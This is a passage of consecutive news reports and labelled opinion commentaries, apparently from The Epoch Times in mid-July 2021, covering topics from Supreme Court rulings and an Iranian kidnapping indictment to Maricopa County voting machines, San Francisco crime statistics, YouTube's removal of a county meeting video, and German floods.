First: The Roberts court is continuing the liberal judicial activist trend of defining deviancy downa phrase coined by the late Sen. Daniel Patrick Moynihan (D-N.Y.). The justices refused to review a state law forcing a religious businesswoman to use her creative talents to celebrate same-sex marriage (pdf). It left undisturbed a lower court ruling that a school was constitutionally required to allow a biological girl to use the boys restroom (pdf). When school administrators sanctioned a 14-year-old pupil for lobbing repeated f-bombs, the court sided with the young vulgarian against the school (pdf).

Second: The cases show that the Roberts court is committed to the case precedents through which the liberal 20th century justices re-wrote the Constitution. You can see this even in the conservative victories. For example, the donor privacy decision in Americans for Prosperity Foundation v. Bonta (pdf) relied heavily on cases and methods dating from the years when the courts liberal activism was at its peak.

Third: This terms liberal victories (especially the Obamacare decision) seem fairly permanent, but some of the conservative victories may be transitory. The case upholding an Arizona election integrity law (pdf) is accounted a conservative victorybut because it involved only a statute and not the Constitution, Congress can overrule it at any time.

Fulton v. Philadelphia (pdf), also celebrated as a conservative victory, was even more flimsy. In Fulton, the court held that the city of Philadelphia violated the First Amendment rights of religious charities. As Justice Neil Gorsuch pointed out, however, the decision was so narrowly based that if Philadelphia removes a never-used clause from its official paperwork, it may continue to discriminate.

Cedar Point v. Hassid (pdf) is accounted a conservative victory because it held that if a state requires a farmer to allow union organizers to enter his land, the state must pay compensation. Left-leaning outlet Slate Magazine mis-characterized Cedar Point as an outrageous union busting decision imposed by the courts conservative supermajority. In fact, as Justice Stephen Breyer suggested in dissent, its easily reversible. If the landowner is paid a small judicially fixed admission fee, union entry can continue as before.

I should add that whatever comfort property owners take from Cedar Point is offset by a later decision refusing to protect a property owner from the city of Chicagos abuse of the eminent domain process (pdf).

The 50-year-long conservative/Republican project to reform the Supreme Court clearly has failed. Its time to resume it on another battlefield. More on that in a future essay.

Robert G. Natelson, a former constitutional law professor, is senior fellow in constitutional jurisprudence at the Independence Institute in Denver. Supreme Court parties and justices frequently have relied on his research articles. He is the author of The Original Constitution: What It Actually Said and Meant (3rd ed., 2014) and co-author of The Origins of the Necessary and Proper Clause (Cambridge Univ. Press, 2010).

Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times.
Huntington Beach's five-month Circuit car program, which will run through December, features five low-speed electric shuttles designed by Circuit. (Drew Van Voorhis/The Epoch Times)

Huntington Beach Launches Circuit Car Pilot Program

HUNTINGTON BEACH, Calif.The city of Huntington Beach launched a new pilot program on July 13 that offers free rides to popular downtown destinations.

The five-month program, which will run through December, features five low-speed electric shuttles designed by Circuit. Downtown Huntington Beach-goers can hitch a lift through the Ride Circuit smartphone app, or by flagging down a ride.

Popular stops include the Huntington Beach Pier, Main Street, Pacific City, Hyatt Regency, Pasea Hotel, and more. Users can get a ride to anywhere within the downtown coverage area; those requesting a car by smartphone can expect to wait 8 to 10 minutes.

Were thrilled to launch the Huntington Beach Circuit car pilot program, bringing Huntington Beach residents and visitors a new way to cruise around downtown Surf City, Huntington Beach Mayor Pro Tem Barbara Delgleize said at the launch.

Huntington Beach isnt the first city to launch the new transportation tool; Circuit shuttles are operating in more than 20 cities nationwide, including East Hampton, Long Island, and San Diego.

The service prides itself on reducing greenhouse gas emissions, and will encourage visitors to park once and then explore the rest of what the downtown area has to offer.

There will be four standard shuttles and one that caters to those with disabilities. Each shuttle can travel up to 80 miles on a single charge. The shuttles can hold up to six adults at a time, including the driver.

We feel confident that this pilot program will help improve the quality of life within our city from the micro-mobility to the environment, while adding yet another amenity to the downtown Surf City that stands out as one of the favorite summer destinations, Delgleize said.

Circuit director of operations Daniel Kramer thanked the city for its work in making the service possible.

Circuit as a company started about 10 years ago in New York. [It was a] small town issue looking to connect people from parking lots to the beach, getting them out of their personal vehicles and doing so in an eco-friendly way, Kramer said. And thats what were here to do in Huntington Beach. Im personally excited because this is my hometown and  its just great to see here in Huntington Beach where we have a need for it.

The shuttle service will run Mondays through Saturdays, 10 a.m. to 10 p.m., and Sundays from 10 a.m. to 9 p.m.
The seal of the United States Department of Justice is seen on the building exterior of the United States Attorney's Office of the Southern District of New York in Manhattan on Aug. 17, 2020. (Andrew Kelly/Reuters)

Iranian Intelligence Officer, 3 Others Charged in Plot to Kidnap US Journalist in New York

Federal authorities charged an Iranian intelligence officer and three alleged members of an Iranian intelligence network on July 13 with plotting to kidnap an American journalist from New York.

According to an indictment filed in Manhattan federal court, the kidnapping ploy was part of a broader effort to lure three people from Canada and a person from the UK to Iran.

The New York journalist isnt identified in the indictment, but is described as a Brooklyn resident, journalist, and human rights activist who drew attention to Irans human rights abuses.

The four defendants charged in the kidnapping plot monitored and planned to kidnap a U.S. citizen of Iranian origin who has been critical of the regimes autocracy, and to forcibly take their intended victim to Iran, where the victims fate would have been uncertain at best, U.S. Attorney Audrey Strauss said.

Among this countrys most cherished freedoms is the right to speak ones mind without fear of government reprisal. A U.S. citizen living in the United States must be able to advocate for human rights without being targeted by foreign intelligence operatives.

Authorities identified the Iranian intelligence officer as Alireza Shavaroghi Farahani. If convicted, the three other defendants and he could all face life in prison.

Every person in the United States must be free from harassment, threats, and physical harm by foreign powers, Acting U.S. Assistant Attorney General Mark Lesko said. Through this indictment, we bring to light one such pernicious plot to harm an American citizen who was exercising their First Amendment rights.

William Sweeney, the head of New Yorks FBI office, noted that the indictment sounded a bit like some far-fetched movie plot.

We allege a group, backed by the Iranian government, conspired to kidnap a U.S.-based journalist here on our soil and forcibly return her to Iran. Not on our watch, Lesko said.

Farahani hired private investigators to surveil the Brooklyn journalist and his household members. The surveillance included a live high-definition video feed of the journalists home.

The indictment alleged that the government of Iran tried to lure the journalist to a third country in 2018 so a capture would be possible, even offering money to the journalists relatives to try to make it possible. The relatives refused the offer, according to the indictment.

Authorities said Iranian intelligence services have previously lured other Iranian dissidents from France and the United States to capture and imprison critics of the Iranian regime and have publicly claimed responsibility for the capture operations.

They noted, as did the indictment, that an electronic device used by Farahani contains a photograph of the New York journalist alongside pictures of two other individuals. Those individuals were captured by Iranian intelligence authorities, according to the indictment. One was later executed and the other was imprisoned.

The others charged in the kidnapping plot were identified as Mahmoud Khazein, 42; Kiya Sadeghi, 35; and Omid Noori, 45, all from Iran.

According to the indictment, Sadeghi researched a service offering military-style speedboats that could perform a maritime evacuation out of New York that would ultimately reach Venezuela, which is run by a de facto government that has friendly relations with Iran.

Khazein researched travel routes from the journalists residence to a waterfront neighborhood in Brooklyn and the location of the journalists residence relative to Venezuela and Tehran, according to the indictment.

The Associated Press contributed to this report.
BoraHansgrohe rider Patrick Konrad of Austria celebrates as he crosses the finish line to win stage 16 of Tour de France, from Pas de la Case to Saint-Gaudens, in France, on July 13, 2021. (Stephane Mahe/Reuters)

Konrad Soloes to Tour Stage Win as Top Guns Keep Powder Dry

SAINT GAUDENS, FrancePatrick Konrad claimed a maiden Tour de France victory with a successful long-range attack on a rain-soaked 16th stage, a 169-km mountain trek from Pas de la Casa, Andorra, on Tuesday.

The Bora-Hansgrohe rider broke away from a small group 36.5 kilometres from the finish in the days last significant climb and never looked back as his chasers reacted too late.

The 29-year-old crossed the line 42 seconds before Italian champion Sonny Colbrelli, who outsprinted Australian Michael Matthews for second.

I had already been in the breakaway three times and every time I waited too long, Konrad, the Austrian champion, told a news conference.

I noticed that those who won from the breakaway, Matej Mohoric or Bauke Mollema, attacked far from the finish and I took inspiration from that. I had decided to take the matter into my own hands.

Konrad is only the third Austrian rider to win a stage on the Tour after Georg Totschnig in 2005, and Max Bulla who won three stages and wore the yellow jersey for a day.

BoraHansgrohe rider Patrick Konrad of Austria celebrates as he crosses the finish line to win stage 16 of Tour de France, from Pas de la Case to Saint-Gaudens, in France, on July 13, 2021. (Stephane Mahe/Reuters)

Defending champion Tadej Pogacar retained the overall leaders yellow jersey as the main contenders kept their powder dry ahead of Wednesdays much-feared 17th stage to the Col du Portet, a 16-km ascent at an average gradient of 8.7 percent.

To get there, they will first tackle the Col de Peyresourde (13.2-km at 7 percent) and the Col de Val Louron-Azet (7.4km at 8.3 percent).

Pogacars group finished Tuesdays stage 13:49 off the pace as the top positions in the general classification remained unchanged.

For sure (my rivals) were focusing on tomorrow when everyone will try because it will be the hardest day in this Tour, said Pogacar.

If someone feels very good tomorrow they can make a big difference against someone who feels bad. I dont know what their (my rivals) tactics will be.

After a long descent in low temperatures and drizzling rain to reach the actual start of the stage, a leading trio opened a gap on the peloton but they had a 10-man group hot on their heels, as the main bunch gradually let it slide.

Fabien Doubey, Konrad and Jan Bakelants had 30 seconds on their chasers in the descent from the Col de la Core as they headed towards the Col du Portet dAspet (5.4km at 7.1 percent).

Konrad increased the advantage to 1:20 as he attacked on the climb.

Frances David Gaudu, a specialist climber, increased the pace from the chasing group and only Colbrelli, a sprint specialist, could follow, narrowing the gap to 30 seconds at the top.

But Konrad was the fastest in the treacherous descent where Italian Fabio Casartelli crashed and died in 1995, and he extended his lead again, holding off the chasing group.

By Julien Pretot
LA County Board to Crack Down on Illegal Grows, Reconsider Cannabis Ban

LOS ANGELESThe Los Angeles County Board of Supervisors voted on July 13 to collaborate with federal, state, and local officials to shut down illegal cannabis grow operations in Antelope Valley while agreeing to reconsider a longstanding county ban on commercial marijuana.

Supervisor Kathryn Barger warned three weeks ago that commercial cannabis and hemp grow operations in her district are using dangerous pesticides, stealing water from fire hydrants, and frightening neighbors into silence. However, she failed to get support from her colleagues on a plan of action that included tougher criminal penalties and would have required four votes to pass.

On July 13, Barger asked for support regarding a substitute motion co-authored by Supervisor Sheila Kuehl that didnt include any mention of stricter penalties. It passed unanimously.

Make no mistake, illegal marijuana grows are something that impacts the entire county of Los Angeles. Illegal growers are using unregulated chemicals to process marijuana [and] selling products to legal and illegal dispensaries in and outside the LA Basin, endangering cannabis users, Barger said.

She said that two bears had been found poisoned by pesticides near one valley grow operation and said the problem isnt limited to outdoor crops.

Outdoor grows expand over multiple areas in the middle of the valley surrounded by debris and trash, while indoor grows have taken over homes in residential areas, converting family homes into suburban cannabis farms, Barger said.

During public comment, residents painted a picture of a lawless environment in which locals were challenged at gunpoint and enforcement was close to nonexistent.

This is not the Wild West. Our taxpaying citizens should be safe in the Fifth District and not be intimidated by cartel thugs, Green Valley Town Councilman Joe Randles said. Our groundwater is being contaminated by grow chemicals, our water systems are being compromised by theft, our land is being decimated along with the protected Joshua trees. This is an unfolding disaster.

Chris Minsal, a lifelong resident of the north county and president of the Pearblossom Rural Town Council, said he wanted to see commercial cannabis regulated rather than banned, to generate tax dollars for enforcement against illegal operators.

Never in my life [have] I ever seen lawlessness like Ive witnessed over the last year, with people doing whatever they want, because they all know theres only one, maybe two sheriffs at any given time covering an area the size of the San Fernando Valley, Minsal said. Its easy to hide, threaten people, take over a town, ruin quality of life for its residents.

Other residents argued against commercialization, saying no other jurisdictions have been successful in controlling illegal operations. But all agreed that more money and resources were needed.

In addition to pushing for more authority and resources from the state to battle illegal growers, the board agreed to allocate $250,000 for more sheriffs patrols in the area. The board also asked for a report on the potential for more funding through this years supplemental budget.

Jeffrey Hillinger, vice president of the Littlerock Town Council, said he lives across the street from four separate grow operations.

Its just ridiculous out here. I would urge the rest of the Board of Supervisors to come out here. Maybe get in a helicopter, take a flight, take a look at whats going on with our desert out here and all these drugs, Hillinger said.

The board also voted on a separate motion by Supervisor Janice Hahn to reconsider its longstanding ban on commercial cannabis.

Providing a legal pathway can help us tackle the illegal market, by giving them a legal option, Hahn said.

In October 2017, roughly one year after California voted to legalize recreational use of marijuana, a county workgroup generated a report including dozens of recommendations on how to regulate cannabis retailing, production, and distribution.

Hahn, who was among those who shelved that report, said it was time to dust it off and reconvene a group of relevant stakeholders.

I think its at least time to revisit that conversation and think how we can safely implement the will of the voters when they approved Prop 64, Hahn said.

Barger agreed with the idea of reconsidering the broad ban, though she said she didnt believe it would discourage illegal operations.

Barger said one reason she chose not to revise the county ban earlier was because of a memo by then-U.S. Attorney General Jeff Sessions directing all U.S. prosecutors to enforce federal laws making marijuana illegal. County counsel told Barger that he believed that memo had since been rescinded, but said his office would double-check.

The countys prohibition on marijuana dispensaries in unincorporated areas has been in place since 2010 and was broadened in 2017 to include the cultivation, manufacture, testing, and distribution of the drug for other than personal use.

California voted to legalize cannabis in 2016, and legal recreational sales began in January 2018.
Votes are counted by staff at the Maricopa County Elections Department office in Phoenix, Ariz., on Nov. 5, 2020. (Courtney Pedroza/Getty Images)

Maricopa County Approves Millions to Obtain New Election Equipment From Dominion

Supervisors in Arizonas largest county on Wednesday approved an amended contract with Dominion Voting Systems that will see the company send over fresh election equipment.

Maricopa Countys Board of Supervisors opted to lease new voting system tabulators to replace machines examined by auditors hired by the Arizona Senate.

The board, composed of four Republicans and one Democrat, agreed in a meeting to allocate an additional $2.9 million to the contract with Dominion Voting Systems. The contract now totals $9 million. It began in June 2019 and runs through July 2022 and has the county leasing voting equipment from Dominion.

The Canada-based company provides such equipment to 28 states and Puerto Rico.

The company will provide 385 new precinct tabulators, or machines that count ballots at precincts, and 9 new central counters, as well as the hardware required to run them.

The Subpoenaed Equipment will no longer be used by the county and the county is authorizing the contractor to remove, inspect and properly dispose of the Subpoenaed Equipment,' the amendment states. The county will acquire new voting system components to replace the Subpoenaed Equipment pursuant to the existing lease terms of the Agreement.

Board Chairman Jack Sellers, a Republican, said needing to spend more money on the contract was frustrating but necessary after auditors took custody of the machines.

The frustrating thing is, those were perfectly good machines which passed all of our accuracy tests from the time we first got them in 2019. The taxpayer paid good money for them, but now this equipment will have to be decommissioned because the Senate didnt take our warnings about chain-of-custody seriously, Sellers said in a statement. When Senate leadership chose novices to conduct their audit rather than reputable, certified companies, they wasted an expensive investment that had served Maricopa County voters well in 2019 and 2020.

The Arizona Senate hired Cyber Ninjas to oversee the audit. That choice has been criticized by board members and other audit opponents, who point to the companys lack of experience on election reviews. Cyber Ninjas and senators have said the companies involved in the audit are committed to a fair process and include companies with audit experience.

Audit teams work in Phoenix, Ariz., on July 14, 2021, in a still from real-time camera footage released by AZaudit. (AZAudit.org/Screenshot via The Epoch Times)

Arizona Secretary of State Katie Hobbs, a Democrat, in May urged the county to get new machines because of concerns that the chain of custody, a critical security tenet, has been compromised and election officials do not know what was done to the machines while under Cyber Ninjas control.

The county announced last month that it would replace the machines, citing the same concerns.

The Arizona Senate proposed auditing the ballots and equipment while they were in the countys possession but the county refused, forcing audit teams to conduct the review in buildings on the Arizona State Fairgrounds in Phoenix.

Arizona Senate President Karen Fann, a Republican, said the machines were not tampered with during the audit.

If their experts cant prove the machines have not been tampered with, then how does the [Secretary of States office] or County Elections certify the machines before every audit to make sure the machines havent been tampered with? she asked in June.

The vote came a day after Fann said auditors ballot count ended with a different number than the county. The state Senate is conducting its own count this week on machines it obtained expressly for the purpose.

The third number will be used against the other two figures, Ken Bennett, a former Republican Arizona Secretary of State who is serving as the bodys audit liaison, told The Epoch Times.

Auditors plan to finish their report on the audit in August.

Jack Phillips contributed to this report.
Mayors Spin on Crime Is Confusing, Contradictory, and Misleading

Commentary

SAN FRANCISCO, Calif.San Franciscos mayor and police chief held a joint press conference July 12 to share mid-year crime statistics for the city by the bay.

Having worked as an administrator with the city during six different mayoral administrations, I can attest to the fact that each and every mayor used such an occasion to present statistics in a manner which best reflected the crime policies they were supporting.

These press conferences were usually conducted with an agreeing police chief, as this one was, but on occasion they appeared alone so as to deflect partial blame to other city departments.

In San Francisco, where the chief of police is appointed by the mayor, it makes for a stronger show to have both appear together.

As many of you know, statistics can be used in many different ways to justify particular and even opposing points of view. Its how they are presented. Usually the bottom line tells us what we need to know. I am not going to bore you with quoting the statistics the mayor and chief presented, but rather comment on how they presented them.

The statistics that were presented July 12 told us, in no uncertain terms, that violent crime in most categories was dramatically on the rise at this point compared to prior years. Homicides, gun violence, burglaries, aggravated assault, car thefts and break-ins have all increased at an alarming rate over prior years.

In some instances during the presentation, only selected years were used as comparative benchmarks, and at other times, half-year stats were compared to whole year stats.

In the category of homicides, the mayor talked about the wonderful success ratio of arrests made, but not the increase in the overall number of murders being the highest its been in decades. I am happy that our police department is doing a good job in their investigations and making arrests, but Im not happy that the rate or numbers of murders has increased so much.

The discussion on gun violence, another category of dramatic increase, was artfully minimized by the rhetoric on ghost guns. Ghost guns are unregistered, unlicensed, or illegally made 3D guns. It is wonderful that we have the ability to identify the type of weapon used by more and more criminals, but it tells me nothing about what we are doing to lesson such crime.

Burglaries and home invasions are way up. This was accompanied by a rather lengthy explanation of the fact that more people have been at home during the last year because of COVID-19. One would think that burglaries and home invasions would decrease because of that fact.

Auto theft and break-ins continue their upward spike. The mayor went on and on about how these types of crimes were the work of a small handful of groups who are well-known to police. Are these people being arrested, and if so, are they being prosecuted? Regardless of how well known they are, they are still up to their tricks.

Rape and sexual assault cases are down, I am happy to report. The mayor attributed this to the fact that more people, especially women, stayed at home during the past six months because of the pandemic and lockdowns.

Larceny and petty theft were reported as down compared to the prior three years.

Its no wonder, because both types of crime have been reclassified as almost insignificant by a district attorney who refuses to prosecute almost any type of theft less than $950, if no weapon or violence is involved. The cops reason that they should not waste their time pursuing such cases if they are just going to be dismissed by the district attorney. I didnt hear the mayor or chief talk about the lack of prosecution at all.

All of the above was neatly packaged into a very boring and hard to follow, self-congratulating press conference as mentioned above. Much was said about all of the wonderful new social programs that have been instituted to help analyze and fight crime as the result of the mayor defunding the police and sheriff departments to the tune of $65 million this year and another $65 million next year.

The only problem here is that the statistics she and the chief are quoting do not support her statement that the programs are wonderful or effective as crime across the board is greatly increasing.

There is a great deal of confusion as to actually how much money has been deducted from the police department, as she promised during her July 2020 Dream Keeper Initiative to defund the police.

Its clear she has found the money somehow to fund these alternatives to law-enforcement social programs, costing at least $65 million so far, and has taken enough from the police department to cause a shortage of 400 police officers available to patrol our streets. This is a reduction of almost 25 percent of our active police force.

The mayor then went onto embarrassing lengths about the importance of more police on the beat. She even reported that crime in the tenderloin has gone down because of her insistence that more police be present in that area. Why doesnt she apply the same principle to the rest of the city instead of being the sole cause why our police department staffing is down 25 percent?

I applaud Chief Bill Scott for being the good soldier that he is. I believe that he is doing his best under very trying and adverse circumstances. I think that he is caught between a politician who really believes her own spin, and a district attorney who is more like a public defender.

Lets hope that someday, saner heads will prevail and San Franciscans will start electing people who are genuinely concerned with the welfare of the people they represent as opposed to politics, and that they have the competence to handle the job.

Tony Hall is a former supervisor in the city and county of San Francisco.

Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times.
Silhouettes of mobile device users are seen next to a screen projection of YouTube's logo in this picture illustration taken March 28, 2018. (Dado Ruvic/Illustration/Reuters)

YouTube Censors North Carolina County Government Meeting

A county board of commissioners in North Carolina is pushing back against tech giant Google after YouTube, owned by Google, deleted one of the boards videos for allegedly violating YouTubes terms and conditions regarding medical misinformation.

After its June 16 meeting, the Henderson County Board of Commissioners video upload on YouTube was taken down, prompting commissioners to call an emergency meeting on Friday, June 18.

During the emergency meeting, the board directed staff to seek out other platforms on which the boards meetings can be posted, as well as to find alternatives to Google products.

Henderson Countys budget includes about $400,000 for Google Chromebooks for the countys public school system.

Though the Chromebooks have already been budgeted for fiscal year 2021, Lapsley said an equivalent to the Chromebooks that arent manufactured by Google will be considered for fiscal year 2022.

We arent going to buy Google products whenever we have a choice, Board of Commissioner Chairman William Lapsley told The Epoch Times.

In the public comment period of the June 16 meeting, several people had asked that the commissioners not use local taxpayers money to assist in North Carolina Gov. Roy Coopers vaccine incentives, which includes four $1 million cash drawings, $25 cash cards, and signage such as billboards.

These incentives are not funded by state or local governments, but from the U.S. Treasury Departments $1.9 trillion coronavirus relief package passed in March.

Citizens who speak in the public comment period are allotted three minutes and can talk about any subject, according to Lapsley, as long as they keep it civil.

Its not, however, a dialogue with the commissioners, Lapsley said.

Its just an opportunity for anybody to tell the commissioners whats on their mind, Lapsley said.

For several years, county staff has uploaded the meetings to YouTube, where it would stay for 90 days.

We posted the video as we normally do, and within about two hours we got an email from YouTube telling us that the video has been taken down because of misinformation, Lapsley said.

Lapsley said staff appealed in the process provided by YouTube within an hour, however, YouTube said the video will remain pulled and will not return.

According to a spokesperson for YouTube: Since the beginning of the COVID-19 pandemic, we established clear policies to prevent the spread of misinformation that could lead to real-world harm. While we welcome open debate and discussion about the COVID-19 vaccines on our platform, we dont allow content that includes claims the vaccines have killed thousands of people, and as such we removed a video from the Henderson County Board of Commissioners channel.

Though none of the 12 people who spoke in the meeting made the direct claim that vaccines have killed thousands of people, each one of them spoke against the vaccine programs targeting massive groups of people based on what they said were suppressed facts.

One of the speakers in the meeting addressed Big Tech censorship as one of the causes of misinformation on the COVID-19 vaccines.

Lapsley later added that the board recognizes the right of a privately owned company such as YouTube to review and control the material on their platforms.

However, we feel that by posting our local government video in the past, they were providing a public space for their customers to exercise their individual right to free speech, Lapsley said. Obviously, they are now censoring the free speech of our county citizens by their action of taking down the county video of a public meetingthis presents a dangerous precedent that this branch of local government will not support. The board has directed county staff to identify any and all purchases of Google (parent company of YouTube) related products and to seek other vendors for similar equipment and/or services.

Escalating Censorship

YouTubes most recent highly publicized video deletion was one uploaded by the American Conservative Union (ACU), a nonprofit educational foundation that examines conservative-based solutions to American issues.

The video, which was an episode of America UnCanceled, featured former President Donald Trump announcing his plan to file a lawsuit against Google, Facebook, and Twitter.

According to the ACU, YouTube alleged the video contained medical misinformation regarding COVID-19, however, the ACU said YouTube didnt cite examples.

In a statement on its website, ACU Chairman Matt Schlapp said its yet another example of Big Tech censoring content with which they disagree in order to promote the political positions they favor.

Though Google is a private company, the platform, along with Facebook and Twitter, is protected from liability for its content under Section 230 of the 1996 Communications Decency Act, which allows for the platforms to remove posts that violate their terms and conditions.

Because YouTube, Google, Facebook, and Twitter partake in public discourse regarding government actions, its been argued that, though they are private companies, they must adhere to the First Amendment addressing free speech.

According to Henderson County Attorney Russell Burrell, the Henderson County Board of Commissioners are required by law to take public comment at its two meetings each month.

The statute states that the board has no control over what the public talks about, Burrell told The Epoch Times. If people want to come in and talk about how they chose the name of their child, I dont think the commissioners can stop them. Its their three minutes.

However, the content of the public comment periodwhat Burrell called the business of the peoplewas not what YouTube wanted on its platform, Burrell said, so it removed the entire meeting, including the parts of the meeting that had nothing to do with vaccines.

This was not something that was pleasing to the commissioners, and I know they were upset about it, so they decided not to use YouTube as a repository for those videos in the future, Burrell said.

As far as recourse under the First Amendment, Burrell stated that the language of the law expresses that Congress cant pass legislation prohibiting free speech, while the Fourteenth Amendment applies this rule to state government.

However, theres no amendment that applies this to Google, Burrell said, unless, he added, a court were to decide Google to be a monopoly.

Then the Federal government could, if it chose to do so, regulate Google as a monopoly, Burrell said.

The Henderson County Board of Commissioners next meeting is on July 21.

The livestream for the June 16 meeting can be found here.
Oklahoma Man Walks 17 Miles a Day for Work; Stranger Offers a Ride and Turns His Life Around

An Oklahoma man walking 17 miles for work each day to make his family proud has had his life turned around when a kind stranger stopped to offer him a ride.

Donte Franklin, 20, lost his mother to hepatitis C when he was just 16 years old and life just got hard for him after that as he was raised by his siblings. However, instead of losing hope, he garnered all the strength to push through, and he credits his mom for it.

I had to be positive, he told WKRC. I had to grind to make a better me, to make my momma happy.

Despite his almost-three-hour commute each way to the Buffalo Wild Wings eatery on the other side of Moore, where he works as a cook, he has never missed a shift or even been late.

The Buffalo Wild Wings eatery where Donte Franklin works. (Courtesy of Michael Lynn)

However, Franklins life took a dramatic turn on June 15; as he was heading to work under the heat of the sun, a good Samaritan, Michael Lynn, pulled over and offered him a ride upon seeing his determination.

I ran an errand down on 134th & Western and as I came back around to go to my facility  I see him again and hes nearly to 27th and Janeway, Lynn later posted on Facebook.

The pair chatted in the car and Franklin shared more about himself before Lynn dropped him off at work.

Before I left, I asked him do you have any money to eat, he said no sir  So I give him 20 bucks and went on my way, Lynn continued. Im thinking this young man is truly on a mission to survive!

Donte Franklin with Michael Lynn. (Courtesy of Michael Lynn)

Lynns post tugged at the heartstrings of many kindhearted neitzens. Within the next few days, the Facebook post had been shared upward of 1,300 times, and a GoFundMe campaign to buy Franklin a car had raised thousands of dollars.

The fund closed on a grand total of $53,510 for the hardworking Oklahoma cook.

I can really help my family with this, Franklin told KOKH. Its just a really good blessing.

Additionally, Kerri Collins, the administrator for biker charity groups My Riding Buddies Oklahoma and Bikers for Elves, founded by her husband, told KOCO 5 that she jumped in after reading Lynns post. Franklins dedication touched her heart, because kids his age dont do that.

Since Franklin still needs to earn his drivers license, the local bicycle club has since gifted him a brand-new bike to tide him over.

For Lynn, it was all about paying it forward.

If it can make just one person go help someone else, thats all that matters, he said, claiming he loves his new friend like his own.

Lynn and Franklin intend to stay in touch. Lynn told The Epoch Times that they were planning to attend church together. Franklinwho is studying to become a welderis working and has a lot on his plate, which is a good thing, said Lynn.

Share your stories with us at emg.inspired@epochtimes.com, and get your daily dose of inspiration by signing up for the Epoch Inspired Newsletter at TheEpochTimes.com/newsletter
Senator Joseph Biden (D-Del.) speaks to reporters after meeting with President Bill Clinton at the White House in Washington on Feb. 10, 1995. (David Ake/AFP via Getty Images)

Once a Welfare Reformer, Biden Now Turning IRS Into Biggest Welfare Agency

Commentary

When President Clintons welfare-reform proposal stalled in Congress in the summer of 1996, Democratic Sen. Joe Biden stepped in to push a tougher bill that gave more concessions to Republicans. He boasted his bill would get tough on welfare moms.

Its time to pass a welfare reform bill, Biden asserted, noting his proposal would make welfare recipients work part time and kick them off the dole after five years.

The final bill that Clinton ended up signingafter Biden voted for it in the Senatecut welfare rolls in half within just four years and eventually drove them to historic lows. But starting this week, President Biden threatens to create millions of new welfare moms with his stealth-welfare program of using the IRS to pay single parents not to work in the name of COVID-19 relief, even as jobs go begging in the economic recovery.

Part of the American Rescue Plan Act of 2021, his Expanded Child Tax Credit for the first time doles out monthly checks to people who dont even work or report income or pay taxesincluding illegal immigrants with U.S.-born anchor babiesand he and Democrats have vowed to make this scam permanent. While Bidens sold the no-strings money as a COVID-related tax break, its really the start of a massive new welfare program long proposed by the liberal wing of his party who never liked the Clinton-era reforms but love the idea of a universal basic income.

Its a stunning reversal: in effect, Biden is undoing his own welfare overhaul of 25 years ago. If Clinton ended welfare as we know it, Biden is rebuilding it like weve never seen before.

The first checks in his little-noticed stealthfare scheme go out Thursday. Each month, the IRS will send millions of nonworking parents $300 for every child under 6 and $250 for each child age 6 to 17. Though the cash payments are set to expire in January, Biden wants to extend them for five more years, meaning the IRS will send a single nonworking mom with two babies $7,200 a year, which is more than the old AFDC welfare paidand thats on top of the tens of thousands of dollars in other yearly welfare benefits already available from Uncle Sam as a substitute for earnings. Democrats promise to sweeten the succor of cash IRS child grants and make it permanent, locking in more Democrat voters.

For years, the Childrens Defense Fund and other leftist groups have fought for changes in the tax code to remove all existing work obligations from the child tax-credit program. Democrats just dusted off their policy papers when the COVID recession gave them the perfect excuse to finally put them into action and permanently expand the welfare state.

The inclusion of the robust expansion of the CTC (child tax credit) is a critical step forward in making a guaranteed monthly child allowance permanent, the Childrens Defense Fund said in a statement. The White House has vowed to work with Democrats in Congress to do just that.

Democrats may think theyre helping the poor, but theyre merely doubling down on the devastation they caused in urban America in the recent past. In the 1960s, President Johnson hooked millions of low-income mothers on welfare by paying them based on the number of children they have out of wedlock. As a result, illegitimate birth rates skyrocketed, along with poverty, drug use, and crime.

In the 1990s, Biden and Clinton worked with Republicans to reform welfare, breaking the generational cycle of dependency LBJ created. Americans left welfare rolls in droves, as more unwed mothers entered the workforce, dramatically reducing black child poverty and teen pregnancy rates, along with violent inner-city crime.

Back then, the Delaware senator seemed to get it. In August 1996, Biden issued a statement slamming the failed welfare system and trumpeting his support for reforms.

The culture of welfare must be replaced with the culture of work, Biden said. The culture of dependence must be replaced with the culture of self-sufficiency and personal responsibility. And the culture of permanence must no longer be a way of life.

Biden has since moved far to the left. He now risks recreating that welfare culture he once condemned by doling out billions of dollars in cash welfare payments under the guise of IRS tax credits. If this new dole is made permanent, the president will resurrect LBJs anti-work, anti-marriage penalties and reverse the progress made since 1996. Like LBJ before him, Biden will reward out-of-wedlock childbirths and fatherless households while punishing work.

And he will turn the IRS into the nations largest welfare-benefits dispensaryeven bigger than the departments of Health and Human Services and Agriculture, which provide family income support and food stamps, respectively. Its estimated the IRS will dole out more than $130 billion this year in Bidens child tax refundstwo-thirds of which will go to parents who owe no income taxa figure that dwarfs HHS and USDAs annual federal spending on traditional welfare programs.

And if you think those programs are rife with fraud, just wait. As welfare expert Robert Rector points out, the IRS is not allowed to wait to corroborate information before it sends out refunds. By law, it has to issue the cash within 45 days of receiving filings. No other welfare program operates under this type of restriction, he said. So fraud will likely run rampant under Bidens unconditional new entitlement.

The IRS is supposed to collect revenue, not redistribute it. But under Biden, its now doing both. Biden plans to raise taxes on mom-and-pop businesses and corporations alike, as well as on the sale of stocks and homes, while doubling the number of IRS agents to enforce the new tax hit and help raise revenue to cover the cost of his massive new stealthfare program. You see, the money for the millions of checks the IRS is cutting for the first time to parents who dont work at all isnt freeits coming out of your pocket.

In fact, the agency may singly become the most efficient mechanism for the redistribution of wealth in U.S. history. The taxman may giveth, but the taxman also taketh away.

Paul Sperry is an author and veteran journalist whose work appears in RealClearInvestigations, the New York Post, and the Federalist.

Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times.
A car is seen in a flooded street following heavy rainfalls in Hagen, Germany, on July 14, 2021. (Leon Kuegeler/Reuters)

One Dead, Hundreds Evacuated in German Freak Floods

BERLINA fireman drowned and the army was deployed to help stranded residents on Wednesday after heavy rain triggered once-in-25-year floods in parts of western Germany, disrupting rail, road, and river transport in Germanys most populous region.

The German Weather Service issued an extreme weather warning for parts of three western states, while Hagen, a city of 180,000, declared a state of emergency after the Volme river burst its banks.

The citys crisis team warned that water would reach levels seen not more than four times a century in coming hours and warned everyone who lived near the towns rivers to move to higher ground immediately, public broadcaster WDR reported.

